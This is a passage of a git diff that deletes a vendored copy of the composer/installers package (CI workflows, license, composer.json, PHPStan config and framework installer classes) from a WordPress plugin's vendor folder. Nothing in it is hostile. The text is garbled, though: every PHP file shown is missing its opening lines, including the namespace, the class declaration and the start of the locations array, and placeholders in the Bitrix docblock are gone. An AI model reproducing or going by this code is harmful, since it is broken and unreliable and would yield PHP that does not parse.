'3.0.2.0', - 'reference' => 'c6c1022351a901512170118436c764e473f6de8c', - 'type' => 'library', - 'install_path' => __DIR__ . '/../sebastian/version', - 'aliases' => array(), - 'dev_requirement' => true, - ), - 'shama/baton' => array( - 'dev_requirement' => false, - 'replaced' => array( - 0 => '*', - ), - ), - 'theseer/tokenizer' => array( - 'pretty_version' => '1.2.3', - 'version' => '1.2.3.0', - 'reference' => '737eda637ed5e28c3413cb1ebe8bb52cbf1ca7a2', - 'type' => 'library', - 'install_path' => __DIR__ . '/../theseer/tokenizer', - 'aliases' => array(), - 'dev_requirement' => true, - ), - 'upskill/hvac-community-events' => array( - 'pretty_version' => 'dev-main', - 'version' => 'dev-main', - 'reference' => '5af52fcab993fb6e4a9633e0ef329b29f36855ae', - 'type' => 'wordpress-plugin', - 'install_path' => __DIR__ . '/../../', - 'aliases' => array(), - 'dev_requirement' => false, - ), - 'wp-phpunit/wp-phpunit' => array( - 'pretty_version' => '6.7.2', - 'version' => '6.7.2.0', - 'reference' => 'e2bb06bacc92a8e9e405e83f56989e8ed9359db1', - 'type' => 'library', - 'install_path' => __DIR__ . '/../wp-phpunit/wp-phpunit', - 'aliases' => array(), - 'dev_requirement' => true, - ), - 'yoast/phpunit-polyfills' => array( - 'pretty_version' => '1.1.4', - 'version' => '1.1.4.0', - 'reference' => 'e6faedf5e34cea4438e341f660e2f719760c531d', - 'type' => 'library', - 'install_path' => __DIR__ . '/../yoast/phpunit-polyfills', - 'aliases' => array(), - 'dev_requirement' => true, - ), - 'yoast/wp-test-utils' => array( - 'pretty_version' => '1.2.0', - 'version' => '1.2.0.0', - 'reference' => '2e0f62e0281e4859707c5f13b7da1422aa1c8f7b', - 'type' => 'library', - 'install_path' => __DIR__ . '/../yoast/wp-test-utils', - 'aliases' => array(), - 'dev_requirement' => true, - ), - ), -); diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/.github/workflows/continuous-integration.yml b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/.github/workflows/continuous-integration.yml deleted file mode 100644 index 34b8f91f..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/.github/workflows/continuous-integration.yml +++ /dev/null @@ -1,76 +0,0 @@ -name: "Continuous Integration" - -on: - - push - - pull_request - -env: - COMPOSER_FLAGS: "--ansi --no-interaction --no-progress --prefer-dist" - SYMFONY_PHPUNIT_REMOVE_RETURN_TYPEHINT: "1" - -jobs: - tests: - name: "CI" - - runs-on: ubuntu-latest - - strategy: - matrix: - php-version: - - "5.3" - - "5.4" - - "5.5" - - "5.6" - - "7.0" - - "7.1" - - "7.2" - - "7.3" - - "7.4" - - "8.0" - - "8.1" - dependencies: [locked] - include: - - php-version: "5.3" - dependencies: lowest - - php-version: "8.1" - dependencies: lowest - - steps: - - name: "Checkout" - uses: "actions/checkout@v2" - - - name: "Install PHP" - uses: "shivammathur/setup-php@v2" - with: - coverage: "none" - php-version: "${{ matrix.php-version }}" - tools: composer:snapshot - - - name: Get composer cache directory - id: composercache - run: echo "::set-output name=dir::$(composer config cache-files-dir)" - - - name: Cache dependencies - uses: actions/cache@v2 - with: - path: ${{ steps.composercache.outputs.dir }} - key: ${{ runner.os }}-composer-${{ hashFiles('**/composer.json') }} - restore-keys: ${{ runner.os }}-composer- - - - name: "Handle lowest dependencies update" - if: "contains(matrix.dependencies, 'lowest')" - run: "echo \"COMPOSER_FLAGS=$COMPOSER_FLAGS --prefer-lowest\" >> $GITHUB_ENV" - - - name: "Upgrade phpunit-bridge if needed for php 8 lowest build" - if: "contains(matrix.php-version, '8.')" - run: | - composer require symfony/phpunit-bridge:^5.3.3 --dev --no-update - - - name: "Install latest dependencies" - run: | - # Remove PHPStan as it requires a newer PHP - composer remove phpstan/phpstan phpstan/phpstan-phpunit --dev --no-update - composer update ${{ env.COMPOSER_FLAGS }} - - - name: "Run tests" - run: "vendor/bin/simple-phpunit --verbose" diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/.github/workflows/lint.yml b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/.github/workflows/lint.yml deleted file mode 100644 index 81a1ac4d..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/.github/workflows/lint.yml +++ /dev/null @@ -1,30 +0,0 @@ -name: "PHP Lint" - -on: - - push - - pull_request - -jobs: - tests: - name: "Lint" - - runs-on: ubuntu-latest - - strategy: - matrix: - php-version: - - "5.3" - - "8.0" - - steps: - - name: "Checkout" - uses: "actions/checkout@v2" - - - name: "Install PHP" - uses: "shivammathur/setup-php@v2" - with: - coverage: "none" - php-version: "${{ matrix.php-version }}" - - - name: "Lint PHP files" - run: "find src/ -type f -name '*.php' -print0 | xargs -0 -L1 -P4 -- php -l -f" diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/.github/workflows/phpstan.yml b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/.github/workflows/phpstan.yml deleted file mode 100644 index ac4c4a92..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/.github/workflows/phpstan.yml +++ /dev/null @@ -1,51 +0,0 @@ -name: "PHPStan" - -on: - - push - - pull_request - -env: - COMPOSER_FLAGS: "--ansi --no-interaction --no-progress --prefer-dist" - SYMFONY_PHPUNIT_VERSION: "" - -jobs: - tests: - name: "PHPStan" - - runs-on: ubuntu-latest - - strategy: - matrix: - php-version: - # pinned to 7.4 because we need PHPUnit 7.5 which does not support PHP 8 - - "7.4" - - steps: - - name: "Checkout" - uses: "actions/checkout@v2" - - - name: "Install PHP" - uses: "shivammathur/setup-php@v2" - with: - coverage: "none" - php-version: "${{ matrix.php-version }}" - - - name: Get composer cache directory - id: composercache - run: echo "::set-output name=dir::$(composer config cache-files-dir)" - - - name: Cache dependencies - uses: actions/cache@v2 - with: - path: ${{ steps.composercache.outputs.dir }} - key: ${{ runner.os }}-composer-${{ hashFiles('**/composer.json') }} - restore-keys: ${{ runner.os }}-composer- - - - name: "Install latest dependencies" - run: "composer update ${{ env.COMPOSER_FLAGS }}" - - - name: Run PHPStan - # Locked to phpunit 7.5 here as newer ones have void return types which break inheritance - run: | - composer require --dev phpunit/phpunit:^7.5.20 --with-all-dependencies ${{ env.COMPOSER_FLAGS }} - vendor/bin/phpstan analyse diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/LICENSE b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/LICENSE deleted file mode 100644 index 85f97fc7..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/LICENSE +++ /dev/null @@ -1,19 +0,0 @@ -Copyright (c) 2012 Kyle Robinson Young - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is furnished -to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -THE SOFTWARE. \ No newline at end of file diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/composer.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/composer.json deleted file mode 100644 index 4a7fd3c3..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/composer.json +++ /dev/null @@ -1,122 +0,0 @@ -{ - "name": "composer/installers", - "type": "composer-plugin", - "license": "MIT", - "description": "A multi-framework Composer library installer", - "keywords": [ - "installer", - "Aimeos", - "AGL", - "AnnotateCms", - "Attogram", - "Bitrix", - "CakePHP", - "Chef", - "Cockpit", - "CodeIgniter", - "concrete5", - "Craft", - "Croogo", - "DokuWiki", - "Dolibarr", - "Drupal", - "Elgg", - "Eliasis", - "ExpressionEngine", - "eZ Platform", - "FuelPHP", - "Grav", - "Hurad", - "ImageCMS", - "iTop", - "Joomla", - "Kanboard", - "Known", - "Kohana", - "Lan Management System", - "Laravel", - "Lavalite", - "Lithium", - "Magento", - "majima", - "Mako", - "MantisBT", - "Mautic", - "Maya", - "MODX", - "MODX Evo", - "MediaWiki", - "Miaoxing", - "OXID", - "osclass", - "MODULEWork", - "Moodle", - "Pantheon", - "Piwik", - "pxcms", - "phpBB", - "Plentymarkets", - "PPI", - "Puppet", - "Porto", - "ProcessWire", - "RadPHP", - "ReIndex", - "Roundcube", - "shopware", - "SilverStripe", - "SMF", - "Starbug", - "SyDES", - "Sylius", - "symfony", - "TastyIgniter", - "Thelia", - "TYPO3", - "WHMCS", - "WolfCMS", - "WordPress", - "YAWIK", - "Zend", - "Zikula" - ], - "homepage": "https://composer.github.io/installers/", - "authors": [ - { - "name": "Kyle Robinson Young", - "email": "kyle@dontkry.com", - "homepage": "https://github.com/shama" - } - ], - "autoload": { - "psr-4": { "Composer\\Installers\\": "src/Composer/Installers" } - }, - "autoload-dev": { - "psr-4": { "Composer\\Installers\\Test\\": "tests/Composer/Installers/Test" } - }, - "extra": { - "class": "Composer\\Installers\\Plugin", - "branch-alias": { - "dev-main": "1.x-dev" - } - }, - "replace": { - "shama/baton": "*", - "roundcube/plugin-installer": "*" - }, - "require": { - "composer-plugin-api": "^1.0 || ^2.0" - }, - "require-dev": { - "composer/composer": "1.6.* || ^2.0", - "composer/semver": "^1 || ^3", - "symfony/phpunit-bridge": "^4.2 || ^5", - "phpstan/phpstan": "^0.12.55", - "symfony/process": "^2.3", - "phpstan/phpstan-phpunit": "^0.12.16" - }, - "scripts": { - "test": "SYMFONY_PHPUNIT_REMOVE_RETURN_TYPEHINT=1 vendor/bin/simple-phpunit", - "phpstan": "vendor/bin/phpstan analyse" - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/phpstan.neon.dist b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/phpstan.neon.dist deleted file mode 100644 index 8e3d81e9..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/phpstan.neon.dist +++ /dev/null @@ -1,10 +0,0 @@ -parameters: - level: 5 - paths: - - src - - tests - excludes_analyse: - - tests/Composer/Installers/Test/PolyfillTestCase.php - -includes: - - vendor/phpstan/phpstan-phpunit/extension.neon diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/AglInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/AglInstaller.php deleted file mode 100644 index 01b8a416..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/AglInstaller.php +++ /dev/null @@ -1,21 +0,0 @@ - 'More/{$name}/', - ); - - /** - * Format package name to CamelCase - */ - public function inflectPackageVars($vars) - { - $vars['name'] = preg_replace_callback('/(?:^|_|-)(.?)/', function ($matches) { - return strtoupper($matches[1]); - }, $vars['name']); - - return $vars; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/AimeosInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/AimeosInstaller.php deleted file mode 100644 index 79a0e958..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/AimeosInstaller.php +++ /dev/null @@ -1,9 +0,0 @@ - 'ext/{$name}/', - ); -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/AnnotateCmsInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/AnnotateCmsInstaller.php deleted file mode 100644 index 89d7ad90..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/AnnotateCmsInstaller.php +++ /dev/null @@ -1,11 +0,0 @@ - 'addons/modules/{$name}/', - 'component' => 'addons/components/{$name}/', - 'service' => 'addons/services/{$name}/', - ); -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/AsgardInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/AsgardInstaller.php deleted file mode 100644 index 22dad1b9..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/AsgardInstaller.php +++ /dev/null @@ -1,49 +0,0 @@ - 'Modules/{$name}/', - 'theme' => 'Themes/{$name}/' - ); - - /** - * Format package name. - * - * For package type asgard-module, cut off a trailing '-plugin' if present. - * - * For package type asgard-theme, cut off a trailing '-theme' if present. - * - */ - public function inflectPackageVars($vars) - { - if ($vars['type'] === 'asgard-module') { - return $this->inflectPluginVars($vars); - } - - if ($vars['type'] === 'asgard-theme') { - return $this->inflectThemeVars($vars); - } - - return $vars; - } - - protected function inflectPluginVars($vars) - { - $vars['name'] = preg_replace('/-module$/', '', $vars['name']); - $vars['name'] = str_replace(array('-', '_'), ' ', $vars['name']); - $vars['name'] = str_replace(' ', '', ucwords($vars['name'])); - - return $vars; - } - - protected function inflectThemeVars($vars) - { - $vars['name'] = preg_replace('/-theme$/', '', $vars['name']); - $vars['name'] = str_replace(array('-', '_'), ' ', $vars['name']); - $vars['name'] = str_replace(' ', '', ucwords($vars['name'])); - - return $vars; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/AttogramInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/AttogramInstaller.php deleted file mode 100644 index d62fd8fd..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/AttogramInstaller.php +++ /dev/null @@ -1,9 +0,0 @@ - 'modules/{$name}/', - ); -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/BaseInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/BaseInstaller.php deleted file mode 100644 index 70dde907..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/BaseInstaller.php +++ /dev/null @@ -1,137 +0,0 @@ -composer = $composer; - $this->package = $package; - $this->io = $io; - } - - /** - * Return the install path based on package type. - * - * @param PackageInterface $package - * @param string $frameworkType - * @return string - */ - public function getInstallPath(PackageInterface $package, $frameworkType = '') - { - $type = $this->package->getType(); - - $prettyName = $this->package->getPrettyName(); - if (strpos($prettyName, '/') !== false) { - list($vendor, $name) = explode('/', $prettyName); - } else { - $vendor = ''; - $name = $prettyName; - } - - $availableVars = $this->inflectPackageVars(compact('name', 'vendor', 'type')); - - $extra = $package->getExtra(); - if (!empty($extra['installer-name'])) { - $availableVars['name'] = $extra['installer-name']; - } - - if ($this->composer->getPackage()) { - $extra = $this->composer->getPackage()->getExtra(); - if (!empty($extra['installer-paths'])) { - $customPath = $this->mapCustomInstallPaths($extra['installer-paths'], $prettyName, $type, $vendor); - if ($customPath !== false) { - return $this->templatePath($customPath, $availableVars); - } - } - } - - $packageType = substr($type, strlen($frameworkType) + 1); - $locations = $this->getLocations(); - if (!isset($locations[$packageType])) { - throw new \InvalidArgumentException(sprintf('Package type "%s" is not supported', $type)); - } - - return $this->templatePath($locations[$packageType], $availableVars); - } - - /** - * For an installer to override to modify the vars per installer. - * - * @param array $vars This will normally receive array{name: string, vendor: string, type: string} - * @return array - */ - public function inflectPackageVars($vars) - { - return $vars; - } - - /** - * Gets the installer's locations - * - * @return array map of package types => install path - */ - public function getLocations() - { - return $this->locations; - } - - /** - * Replace vars in a path - * - * @param string $path - * @param array $vars - * @return string - */ - protected function templatePath($path, array $vars = array()) - { - if (strpos($path, '{') !== false) { - extract($vars); - preg_match_all('@\{\$([A-Za-z0-9_]*)\}@i', $path, $matches); - if (!empty($matches[1])) { - foreach ($matches[1] as $var) { - $path = str_replace('{$' . $var . '}', $$var, $path); - } - } - } - - return $path; - } - - /** - * Search through a passed paths array for a custom install path. - * - * @param array $paths - * @param string $name - * @param string $type - * @param string $vendor = NULL - * @return string|false - */ - protected function mapCustomInstallPaths(array $paths, $name, $type, $vendor = NULL) - { - foreach ($paths as $path => $names) { - $names = (array) $names; - if (in_array($name, $names) || in_array('type:' . $type, $names) || in_array('vendor:' . $vendor, $names)) { - return $path; - } - } - - return false; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/BitrixInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/BitrixInstaller.php deleted file mode 100644 index e80cd1e1..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/BitrixInstaller.php +++ /dev/null @@ -1,126 +0,0 @@ -.`. - * - `bitrix-d7-component` — copy the component to directory `bitrix/components//`. - * - `bitrix-d7-template` — copy the template to directory `bitrix/templates/_`. - * - * You can set custom path to directory with Bitrix kernel in `composer.json`: - * - * ```json - * { - * "extra": { - * "bitrix-dir": "s1/bitrix" - * } - * } - * ``` - * - * @author Nik Samokhvalov - * @author Denis Kulichkin - */ -class BitrixInstaller extends BaseInstaller -{ - protected $locations = array( - 'module' => '{$bitrix_dir}/modules/{$name}/', // deprecated, remove on the major release (Backward compatibility will be broken) - 'component' => '{$bitrix_dir}/components/{$name}/', // deprecated, remove on the major release (Backward compatibility will be broken) - 'theme' => '{$bitrix_dir}/templates/{$name}/', // deprecated, remove on the major release (Backward compatibility will be broken) - 'd7-module' => '{$bitrix_dir}/modules/{$vendor}.{$name}/', - 'd7-component' => '{$bitrix_dir}/components/{$vendor}/{$name}/', - 'd7-template' => '{$bitrix_dir}/templates/{$vendor}_{$name}/', - ); - - /** - * @var array Storage for informations about duplicates at all the time of installation packages. - */ - private static $checkedDuplicates = array(); - - /** - * {@inheritdoc} - */ - public function inflectPackageVars($vars) - { - if ($this->composer->getPackage()) { - $extra = $this->composer->getPackage()->getExtra(); - - if (isset($extra['bitrix-dir'])) { - $vars['bitrix_dir'] = $extra['bitrix-dir']; - } - } - - if (!isset($vars['bitrix_dir'])) { - $vars['bitrix_dir'] = 'bitrix'; - } - - return parent::inflectPackageVars($vars); - } - - /** - * {@inheritdoc} - */ - protected function templatePath($path, array $vars = array()) - { - $templatePath = parent::templatePath($path, $vars); - $this->checkDuplicates($templatePath, $vars); - - return $templatePath; - } - - /** - * Duplicates search packages. - * - * @param string $path - * @param array $vars - */ - protected function checkDuplicates($path, array $vars = array()) - { - $packageType = substr($vars['type'], strlen('bitrix') + 1); - $localDir = explode('/', $vars['bitrix_dir']); - array_pop($localDir); - $localDir[] = 'local'; - $localDir = implode('/', $localDir); - - $oldPath = str_replace( - array('{$bitrix_dir}', '{$name}'), - array($localDir, $vars['name']), - $this->locations[$packageType] - ); - - if (in_array($oldPath, static::$checkedDuplicates)) { - return; - } - - if ($oldPath !== $path && file_exists($oldPath) && $this->io && $this->io->isInteractive()) { - - $this->io->writeError(' Duplication of packages:'); - $this->io->writeError(' Package ' . $oldPath . ' will be called instead package ' . $path . ''); - - while (true) { - switch ($this->io->ask(' Delete ' . $oldPath . ' [y,n,?]? ', '?')) { - case 'y': - $fs = new Filesystem(); - $fs->removeDirectory($oldPath); - break 2; - - case 'n': - break 2; - - case '?': - default: - $this->io->writeError(array( - ' y - delete package ' . $oldPath . ' and to continue with the installation', - ' n - don\'t delete and to continue with the installation', - )); - $this->io->writeError(' ? - print help'); - break; - } - } - } - - static::$checkedDuplicates[] = $oldPath; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/BonefishInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/BonefishInstaller.php deleted file mode 100644 index da3aad2a..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/BonefishInstaller.php +++ /dev/null @@ -1,9 +0,0 @@ - 'Packages/{$vendor}/{$name}/' - ); -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/CakePHPInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/CakePHPInstaller.php deleted file mode 100644 index 1e2ddd02..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/CakePHPInstaller.php +++ /dev/null @@ -1,66 +0,0 @@ - 'Plugin/{$name}/', - ); - - /** - * Format package name to CamelCase - */ - public function inflectPackageVars($vars) - { - if ($this->matchesCakeVersion('>=', '3.0.0')) { - return $vars; - } - - $nameParts = explode('/', $vars['name']); - foreach ($nameParts as &$value) { - $value = strtolower(preg_replace('/(?<=\\w)([A-Z])/', '_\\1', $value)); - $value = str_replace(array('-', '_'), ' ', $value); - $value = str_replace(' ', '', ucwords($value)); - } - $vars['name'] = implode('/', $nameParts); - - return $vars; - } - - /** - * Change the default plugin location when cakephp >= 3.0 - */ - public function getLocations() - { - if ($this->matchesCakeVersion('>=', '3.0.0')) { - $this->locations['plugin'] = $this->composer->getConfig()->get('vendor-dir') . '/{$vendor}/{$name}/'; - } - return $this->locations; - } - - /** - * Check if CakePHP version matches against a version - * - * @param string $matcher - * @param string $version - * @return bool - * @phpstan-param Constraint::STR_OP_* $matcher - */ - protected function matchesCakeVersion($matcher, $version) - { - $repositoryManager = $this->composer->getRepositoryManager(); - if (! $repositoryManager) { - return false; - } - - $repos = $repositoryManager->getLocalRepository(); - if (!$repos) { - return false; - } - - return $repos->findPackage('cakephp/cakephp', new Constraint($matcher, $version)) !== null; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/ChefInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/ChefInstaller.php deleted file mode 100644 index ab2f9aad..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/ChefInstaller.php +++ /dev/null @@ -1,11 +0,0 @@ - 'Chef/{$vendor}/{$name}/', - 'role' => 'Chef/roles/{$name}/', - ); -} - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/CiviCrmInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/CiviCrmInstaller.php deleted file mode 100644 index 6673aea9..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/CiviCrmInstaller.php +++ /dev/null @@ -1,9 +0,0 @@ - 'ext/{$name}/' - ); -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/ClanCatsFrameworkInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/ClanCatsFrameworkInstaller.php deleted file mode 100644 index c887815c..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/ClanCatsFrameworkInstaller.php +++ /dev/null @@ -1,10 +0,0 @@ - 'CCF/orbit/{$name}/', - 'theme' => 'CCF/app/themes/{$name}/', - ); -} \ No newline at end of file diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/CockpitInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/CockpitInstaller.php deleted file mode 100644 index 053f3ffd..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/CockpitInstaller.php +++ /dev/null @@ -1,32 +0,0 @@ - 'cockpit/modules/addons/{$name}/', - ); - - /** - * Format module name. - * - * Strip `module-` prefix from package name. - * - * {@inheritDoc} - */ - public function inflectPackageVars($vars) - { - if ($vars['type'] == 'cockpit-module') { - return $this->inflectModuleVars($vars); - } - - return $vars; - } - - public function inflectModuleVars($vars) - { - $vars['name'] = ucfirst(preg_replace('/cockpit-/i', '', $vars['name'])); - - return $vars; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/CodeIgniterInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/CodeIgniterInstaller.php deleted file mode 100644 index 3b4a4ece..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/CodeIgniterInstaller.php +++ /dev/null @@ -1,11 +0,0 @@ - 'application/libraries/{$name}/', - 'third-party' => 'application/third_party/{$name}/', - 'module' => 'application/modules/{$name}/', - ); -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/Concrete5Installer.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/Concrete5Installer.php deleted file mode 100644 index 5c01bafd..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/Concrete5Installer.php +++ /dev/null @@ -1,13 +0,0 @@ - 'concrete/', - 'block' => 'application/blocks/{$name}/', - 'package' => 'packages/{$name}/', - 'theme' => 'application/themes/{$name}/', - 'update' => 'updates/{$name}/', - ); -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/CraftInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/CraftInstaller.php deleted file mode 100644 index d37a77ae..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/CraftInstaller.php +++ /dev/null @@ -1,35 +0,0 @@ - 'craft/plugins/{$name}/', - ); - - /** - * Strip `craft-` prefix and/or `-plugin` suffix from package names - * - * @param array $vars - * - * @return array - */ - final public function inflectPackageVars($vars) - { - return $this->inflectPluginVars($vars); - } - - private function inflectPluginVars($vars) - { - $vars['name'] = preg_replace('/-' . self::NAME_SUFFIX . '$/i', '', $vars['name']); - $vars['name'] = preg_replace('/^' . self::NAME_PREFIX . '-/i', '', $vars['name']); - - return $vars; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/CroogoInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/CroogoInstaller.php deleted file mode 100644 index d94219d3..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/CroogoInstaller.php +++ /dev/null @@ -1,21 +0,0 @@ - 'Plugin/{$name}/', - 'theme' => 'View/Themed/{$name}/', - ); - - /** - * Format package name to CamelCase - */ - public function inflectPackageVars($vars) - { - $vars['name'] = strtolower(str_replace(array('-', '_'), ' ', $vars['name'])); - $vars['name'] = str_replace(' ', '', ucwords($vars['name'])); - - return $vars; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/DecibelInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/DecibelInstaller.php deleted file mode 100644 index f4837a6c..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/DecibelInstaller.php +++ /dev/null @@ -1,10 +0,0 @@ - 'app/{$name}/', - ); -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/DframeInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/DframeInstaller.php deleted file mode 100644 index 70788163..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/DframeInstaller.php +++ /dev/null @@ -1,10 +0,0 @@ - 'modules/{$vendor}/{$name}/', - ); -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/DokuWikiInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/DokuWikiInstaller.php deleted file 